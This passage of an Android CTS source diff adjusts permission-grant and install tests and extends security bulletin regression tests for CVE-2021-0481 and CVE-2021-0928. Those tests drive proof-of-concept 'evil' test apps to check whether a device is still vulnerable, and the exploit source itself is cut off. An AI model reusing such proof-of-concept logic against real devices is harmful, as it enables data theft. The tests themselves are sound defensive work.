+            Set<String> platformSignedPackages, SparseArray<UidState> outUidStates) {
         Log.v(LOG_TAG, "Adding exception for company " + exception.company
                 + ". Metadata: " + exception.metadata);
         String packageName = exception.pkg;
@@ -356,9 +356,12 @@
                 return;
             }
         } else {
-            Log.w(LOG_TAG, "Attribute sha256-cert-digest or brand must be provided for package: "
-                    + packageName);
-            return;
+            if (!platformSignedPackages.contains(packageName)) {
+                String packageDigest = computePackageCertDigest(packageInfo.signatures[0]);
+                Log.w(LOG_TAG, "Package is not signed with the platform certificate: " + packageName
+                        + ". Package signature: " + packageDigest.toUpperCase());
+                return;
+            }
         }
 
         List<String> requestedPermissions = Arrays.asList(packageInfo.requestedPermissions);
@@ -432,14 +435,29 @@
         // Only use exceptions from business logic if they've been added
         if (!mRemoteExceptions.isEmpty()) {
             Log.d(LOG_TAG, String.format("Found %d remote exceptions", mRemoteExceptions.size()));
+            Set<String> platformSignedPackages = getPlatformSignedPackages(packageInfos);
             for (DefaultPermissionGrantException dpge : mRemoteExceptions) {
-                addException(dpge, runtimePermNames, packageInfos, outUidStates);
+                addException(dpge, runtimePermNames, packageInfos, platformSignedPackages,
+                        outUidStates);
             }
         } else {
             Log.w(LOG_TAG, "Failed to retrieve remote default permission grant exceptions.");
         }
     }
 
+    private Set<String> getPlatformSignedPackages(Map<String, PackageInfo> packageInfos) {
+        Set<String> platformSignedPackages = new ArraySet<>();
+        PackageManager pm = getInstrumentation().getContext().getPackageManager();
+        for (PackageInfo pkg : packageInfos.values()) {
+            boolean isPlatformSigned = pm.checkSignatures(pkg.packageName, PLATFORM_PACKAGE_NAME)
+                    == PackageManager.SIGNATURE_MATCH;
+            if (isPlatformSigned) {
+                platformSignedPackages.add(pkg.packageName);
+            }
+        }
+        return platformSignedPackages;
+    }
+
 
     // Permissions split from non dangerous permissions
     private void addSplitFromNonDangerousPermissions(Map<String, PackageInfo> packageInfos,
@@ -785,7 +803,7 @@
         public Map<String, Boolean> permissions = new HashMap<>();
 
         public boolean hasNonBrandSha256() {
-            return sha256 != null && !hasBrand;
+            return !sha256.isEmpty() && !hasBrand;
         }
 
         public DefaultPermissionGrantException(String pkg, String sha256,
@@ -800,7 +818,7 @@
             this.metadata = metadata;
             this.pkg = pkg;
             this.sha256 = sha256;
-            if (!sha256.contains(":")) {
+            if (!sha256.isEmpty() && !sha256.contains(":")) {
                 hasBrand = true; // rough approximation of brand vs. SHA256 hash
             }
             this.permissions = permissions;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS b/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS
index b06092c..6da0176 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS
@@ -1 +1 @@
-per-file BaseDefaultPermissionGrantPolicyTest.java = eugenesusla@google.com, moltmann@google.com, svetoslavganov@google.com
+per-file BaseDefaultPermissionGrantPolicyTest.java = ewol@google.com, narayan@google.com, svetoslavganov@google.com
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetTimeTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetTimeTest.java
index d296229..0af958e 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetTimeTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetTimeTest.java
@@ -105,10 +105,10 @@
             assertTrue("timed out waiting for timezone change broadcast",
                 latch.await(TIMEOUT_SEC, TimeUnit.SECONDS));
 
-            // There might be a delay in timezone setting propagation, so we retry for 5 seconds.
+            // There might be a delay in timezone setting propagation, so we retry for 10 seconds.
             int retries = 0;
             while (!testTimeZone.equals(TimeZone.getDefault().getID())) {
-                if (retries++ > 5) {
+                if (retries++ > 10) {
                     fail("timezone wasn't updated");
                 }
                 Thread.sleep(1000);
diff --git a/hostsidetests/incrementalinstall/AndroidTest.xml b/hostsidetests/incrementalinstall/AndroidTest.xml
index 68b3b56..4721e7a 100644
--- a/hostsidetests/incrementalinstall/AndroidTest.xml
+++ b/hostsidetests/incrementalinstall/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true"/>
diff --git a/hostsidetests/install/Android.bp b/hostsidetests/install/Android.bp
index f90d764..150a760 100644
--- a/hostsidetests/install/Android.bp
+++ b/hostsidetests/install/Android.bp
@@ -21,6 +21,7 @@
     defaults: ["cts_defaults"],
     srcs:  ["src/**/*.java"],
     libs: [
+        "compatibility-host-util",
         "cts-tradefed",
         "cts-shim-host-lib",
         "tradefed",
diff --git a/hostsidetests/install/AndroidTest.xml b/hostsidetests/install/AndroidTest.xml
index 35073c7..1eae5f6 100644
--- a/hostsidetests/install/AndroidTest.xml
+++ b/hostsidetests/install/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <!-- TODO(b/137885984): Revisit secondary user eligibility once the issue is resolved. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="InstallTest.apk" />
diff --git a/hostsidetests/install/src/android/cts/install/host/DeviceParameterized.java b/hostsidetests/install/src/android/cts/install/host/DeviceParameterized.java
index 9e7743a..21bb9c5 100644
--- a/hostsidetests/install/src/android/cts/install/host/DeviceParameterized.java
+++ b/hostsidetests/install/src/android/cts/install/host/DeviceParameterized.java
@@ -17,6 +17,8 @@
 package android.cts.install.host;
 
 import com.android.tradefed.invoker.TestInformation;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.ITestInformationReceiver;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
@@ -34,9 +36,10 @@
  * Custom JUnit4 parameterized test runner that also accommodate {@link ITestInformationReceiver}
  * to support {@link BaseHostJUnit4Test#getDevice()} properly.
  */
-public final class DeviceParameterized extends Parameterized implements ITestInformationReceiver {
+public final class DeviceParameterized extends Parameterized implements IAbiReceiver, ITestInformationReceiver {
     private TestInformation mTestInformation;
     private List<Runner> mRunners;
+    private IAbi mAbi;
 
     public DeviceParameterized(Class<?> klass) throws Throwable {
         super(klass);
@@ -66,9 +69,25 @@
         }
     }
 
+    @Override
+    public void setAbi(IAbi abi) {
+        mAbi = abi;
+        for (Runner runner: mRunners) {
+            if (runner instanceof  IAbiReceiver) {
+                ((IAbiReceiver)runner).setAbi(mAbi);
+            }
+        }
+    }
+
+    @Override
+    public IAbi getAbi() {
+      return mAbi;
+    }
+
     public static class DeviceParameterizedRunner
-            extends BlockJUnit4ClassRunnerWithParameters implements ITestInformationReceiver {
+            extends BlockJUnit4ClassRunnerWithParameters implements IAbiReceiver, ITestInformationReceiver {
         private TestInformation mTestInformation;
+        private IAbi mAbi;
 
         public DeviceParameterizedRunner(TestWithParameters test) throws InitializationError {
             super(test);
@@ -84,6 +103,9 @@
                 }
                 ((ITestInformationReceiver) testObj).setTestInformation(mTestInformation);
             }
+            if (testObj instanceof IAbiReceiver) {
+                ((IAbiReceiver) testObj).setAbi(mAbi);
+            }
             return testObj;
         }
 
@@ -98,6 +120,16 @@
         }
 
         @Override
+        public void setAbi(IAbi abi) {
+          mAbi = abi;
+        }
+
+        @Override
+        public IAbi getAbi() {
+          return mAbi;
+        }
+
+        @Override
         public Description getDescription() {
             // Make sure it includes test class name when generating parameterized test suites.
             Description desc = Description.createSuiteDescription(getTestClass().getJavaClass());
diff --git a/hostsidetests/install/src/android/cts/install/host/DowngradeTest.java b/hostsidetests/install/src/android/cts/install/host/DowngradeTest.java
index fe6afac..fc6be6f 100644
--- a/hostsidetests/install/src/android/cts/install/host/DowngradeTest.java
+++ b/hostsidetests/install/src/android/cts/install/host/DowngradeTest.java
@@ -24,6 +24,7 @@
 import android.cts.install.INSTALL_TYPE;
 import android.platform.test.annotations.LargeTest;
 
+import com.android.compatibility.common.util.CpuFeatures;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
@@ -93,6 +94,14 @@
         }
     }
 
+    @Before
+    public void assumeNotNativeBridgeWithApex() throws Exception {
+        if (!CpuFeatures.isNativeAbi(getDevice(), getAbi().getName())) {
+            assumeFalse("APEX packages do not work with native bridge",
+                    mInstallType.containsApex());
+        }
+    }
+
     @Test
     public void testNonStagedDowngrade_downgradeNotRequested_fails() throws Exception {
         // Apex should not be committed in non-staged install, such logic covered in InstallTest.
diff --git a/hostsidetests/install/src/android/cts/install/host/InstallTest.java b/hostsidetests/install/src/android/cts/install/host/InstallTest.java
index 5580466..d03bfab 100644
--- a/hostsidetests/install/src/android/cts/install/host/InstallTest.java
+++ b/hostsidetests/install/src/android/cts/install/host/InstallTest.java
@@ -18,11 +18,13 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.cts.install.INSTALL_TYPE;
 import android.platform.test.annotations.LargeTest;
 
+import com.android.compatibility.common.util.CpuFeatures;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
@@ -96,6 +98,14 @@
         }
     }
 
+    @Before
+    public void assumeNotNativeBridgeWithApex() throws Exception {
+        if (!CpuFeatures.isNativeAbi(getDevice(), getAbi().getName())) {
+            assumeFalse("APEX packages do not work with native bridge",
+                    mInstallType.containsApex());
+        }
+    }
+
     @Test
     public void testInstall() throws Exception {
         mStaged = false;
diff --git a/hostsidetests/install/src/android/cts/install/host/SamegradeTest.java b/hostsidetests/install/src/android/cts/install/host/SamegradeTest.java
index 3c67a10..70bb3a1 100644
--- a/hostsidetests/install/src/android/cts/install/host/SamegradeTest.java
+++ b/hostsidetests/install/src/android/cts/install/host/SamegradeTest.java
@@ -24,6 +24,7 @@
 import android.cts.install.INSTALL_TYPE;
 import android.platform.test.annotations.LargeTest;
 
+import com.android.compatibility.common.util.CpuFeatures;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
@@ -91,6 +92,14 @@
         }
     }
 
+    @Before
+    public void assumeNotNativeBridgeWithApex() throws Exception {
+        if (!CpuFeatures.isNativeAbi(getDevice(), getAbi().getName())) {
+            assumeFalse("APEX packages do not work with native bridge",
+                    mInstallType.containsApex());
+        }
+    }
+
     /**
      * Samegrading on a non-APEX install type should be success.
      */
diff --git a/hostsidetests/install/src/android/cts/install/host/UpgradeTest.java b/hostsidetests/install/src/android/cts/install/host/UpgradeTest.java
index cf58863..21067b5 100644
--- a/hostsidetests/install/src/android/cts/install/host/UpgradeTest.java
+++ b/hostsidetests/install/src/android/cts/install/host/UpgradeTest.java
@@ -24,6 +24,7 @@
 import android.cts.install.INSTALL_TYPE;
 import android.platform.test.annotations.LargeTest;
 
+import com.android.compatibility.common.util.CpuFeatures;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
@@ -81,6 +82,14 @@
     }
 
     @Before
+    public void assumeNotNativeBridgeWithApex() throws Exception {
+        if (!CpuFeatures.isNativeAbi(getDevice(), getAbi().getName())) {
+            assumeFalse("APEX packages do not work with native bridge",
+                    mInstallType.containsApex());
+        }
+    }
+
+    @Before
     public void assumeApexSupported() throws DeviceNotAvailableException {
         if (mInstallType.containsApex()) {
             assumeTrue("Device does not support updating APEX",
diff --git a/hostsidetests/packagemanager/codepath/AndroidTest.xml b/hostsidetests/packagemanager/codepath/AndroidTest.xml
index 2eb68ce8..083a00f 100644
--- a/hostsidetests/packagemanager/codepath/AndroidTest.xml
+++ b/hostsidetests/packagemanager/codepath/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsCodePathHostTestCases.jar" />
     </test>
diff --git a/hostsidetests/packagemanager/domainverification/device/multiuser/AndroidTest.xml b/hostsidetests/packagemanager/domainverification/device/multiuser/AndroidTest.xml
index b88adb4..70b742e 100644
--- a/hostsidetests/packagemanager/domainverification/device/multiuser/AndroidTest.xml
+++ b/hostsidetests/packagemanager/domainverification/device/multiuser/AndroidTest.xml
@@ -23,6 +23,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <!-- Device admin/owner requires being run in system user -->
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
index d346a62..3c105ee 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/packagemanager/domainverification/host/AndroidTest.xml b/hostsidetests/packagemanager/domainverification/host/AndroidTest.xml
index 6090314..cad7454 100644
--- a/hostsidetests/packagemanager/domainverification/host/AndroidTest.xml
+++ b/hostsidetests/packagemanager/domainverification/host/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/packagemanager/dynamicmime/AndroidTest.xml b/hostsidetests/packagemanager/dynamicmime/AndroidTest.xml
index 56ab6ca..62f681e 100644
--- a/hostsidetests/packagemanager/dynamicmime/AndroidTest.xml
+++ b/hostsidetests/packagemanager/dynamicmime/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/packagemanager/extractnativelibs/AndroidTest.xml b/hostsidetests/packagemanager/extractnativelibs/AndroidTest.xml
index f411309..1b6f8b0 100644
--- a/hostsidetests/packagemanager/extractnativelibs/AndroidTest.xml
+++ b/hostsidetests/packagemanager/extractnativelibs/AndroidTest.xml
@@ -18,7 +18,9 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />    
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
+
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsExtractNativeLibsHostTestCases.jar" />
     </test>
diff --git a/hostsidetests/packagemanager/installedloadingprogess/AndroidTest.xml b/hostsidetests/packagemanager/installedloadingprogess/AndroidTest.xml
index f64e040..550308f 100644
--- a/hostsidetests/packagemanager/installedloadingprogess/AndroidTest.xml
+++ b/hostsidetests/packagemanager/installedloadingprogess/AndroidTest.xml
@@ -19,6 +19,8 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
+
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsInstalledLoadingProgressDeviceTests.apk" />
diff --git a/hostsidetests/packagemanager/multiuser/AndroidTest.xml b/hostsidetests/packagemanager/multiuser/AndroidTest.xml
index d05dabf..0e53839 100644
--- a/hostsidetests/packagemanager/multiuser/AndroidTest.xml
+++ b/hostsidetests/packagemanager/multiuser/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/packagemanager/parsing/host/AndroidTest.xml b/hostsidetests/packagemanager/parsing/host/AndroidTest.xml
index 2a82513..30f994f 100644
--- a/hostsidetests/packagemanager/parsing/host/AndroidTest.xml
+++ b/hostsidetests/packagemanager/parsing/host/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsPackageManagerParsingHostTestCases.jar" />
diff --git a/hostsidetests/packagemanager/preferredactivity/AndroidTest.xml b/hostsidetests/packagemanager/preferredactivity/AndroidTest.xml
index 6494b9f..b978585 100644
--- a/hostsidetests/packagemanager/preferredactivity/AndroidTest.xml
+++ b/hostsidetests/packagemanager/preferredactivity/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsPackageManagerPreferredActivityHostTestCases.jar" />
     </test>
diff --git a/hostsidetests/packagemanager/stats/AndroidTest.xml b/hostsidetests/packagemanager/stats/AndroidTest.xml
index b5d4eb70..cba2993 100644
--- a/hostsidetests/packagemanager/stats/AndroidTest.xml
+++ b/hostsidetests/packagemanager/stats/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsPackageManagerStatsHostTestCases.jar" />
     </test>
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
index e5e6810..5f0c200 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
@@ -65,8 +65,20 @@
     @AsbSecurityTest(cveBugId = 172939189)
     @AppModeFull
     public void testRunDeviceTest() throws Exception {
+
+        String cmd;
+
+        //delete a source file just in case AdbUtils.pushResource()
+        //doesn't overwrite existing file
+        cmd = "rm " + DEVICE_DIR1 + TEST_FILE_NAME;
+        AdbUtils.runCommandLine(cmd, getDevice());
+
+        //push the source file to a device
         AdbUtils.pushResource("/" + TEST_FILE_NAME, DEVICE_DIR1 + TEST_FILE_NAME, getDevice());
-        String cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
+
+        //delete a destination file which is supposed to be created by a vulnerable device
+        //by coping TEST_FILE_NAME -> TAKE_PICTURE_FILE_NAME
+        cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
         AdbUtils.runCommandLine(cmd, getDevice());
 
         installPackage();
@@ -86,11 +98,23 @@
         //run the test
         Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testUserPhotoSetUp"));
 
+        //go to home screen after test
+        getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
+
         //Check if TEST_FILE_NAME has been copied by "Evil activity"
         //If the file has been copied then it means the vulnerability is active so the test fails.
-        cmd = "cmp -s " + DEVICE_DIR1 + TEST_FILE_NAME + " " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME + "; echo $?";
+        cmd = "cmp -s " + DEVICE_DIR1 + TEST_FILE_NAME + " " +
+            DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME + "; echo $?";
         String result =  AdbUtils.runCommandLine(cmd, getDevice()).trim();
         CLog.i(cmd + " -->" + result);
+
+        //Delete files created by this test
+        cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
+        AdbUtils.runCommandLine(cmd, getDevice());
+        cmd = "rm " + DEVICE_DIR1 + TEST_FILE_NAME;
+        AdbUtils.runCommandLine(cmd, getDevice());
+
+        //final assert
         assertThat(result, not(is("0")));
     }
 
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java
new file mode 100644
index 0000000..1e6b91a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.*;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0928 extends BaseHostJUnit4Test {
+    private static final String TEST_PKG = "android.security.cts.CVE_2021_0928";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-0928.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        uninstallPackage(getDevice(), TEST_PKG);
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 188675581)
+    @AppModeFull
+    public void testRunDeviceTest() throws Exception {
+
+        CLog.i("testRunDeviceTest() start");
+        installPackage();
+
+        // ensure the screen is woken up.
+        // KEYCODE_WAKEUP wakes up the screen
+        // KEYCODE_MENU called twice unlocks the screen (if locked)
+        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
+        getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
+        getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
+
+        // run the test
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "test"));
+        CLog.i("testRunDeviceTest() end");
+    }
+
+    private void installPackage() throws Exception {
+        installPackage(TEST_APP, new String[0]);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
index 9103c96..891bd18 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
@@ -109,6 +109,13 @@
 
       //in "Browse Files in Other Apps" activity
       searchAndClick(mDevice, "android.security.cts.CVE_2021_0481.EvilActivity", 5000);
+
+      //Image is chosen as (evilActivity) so we are getting back to
+      //"Profile Info" dialog window showing clickable user silhouette
+      //end "Cancel" and "OK" buttons.
+      //look for "Cancel button and click it"
+      searchAndClick(mDevice, "Cancel", 2000);
+
     } catch (ClickableNotFound e){
       Log.d(TAG, e.toString());
       assumeNoException(e);
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp
new file mode 100644
index 0000000..ce841a4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CVE-2021-0928",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    platform_apis: true,
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+        "androidx.appcompat_appcompat",
+    ],
+    sdk_version: "current",
+}
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/AndroidManifest.xml
new file mode 100644
index 0000000..cd2c607
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/AndroidManifest.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          xmlns:tools="http://schemas.android.com/tools"
+          package="android.security.cts.CVE_2021_0928"
+          android:targetSandboxVersion="2">
+
+    <application
+        android:allowBackup="true"
+        android:label="cve20210928"
+        android:supportsRtl="true">
+
+        <uses-library android:name="android.test.runner"/>
+
+        <activity android:name=".MainActivity" android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+    </application>
+
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+    android:targetPackage="android.security.cts.CVE_2021_0928" />
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/res/layout/activity_main.xml
new file mode 100644
index 0000000..0eb5fe0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/res/layout/activity_main.xml
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/AInjector.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/AInjector.java
new file mode 100644
index 0000000..03e94d0
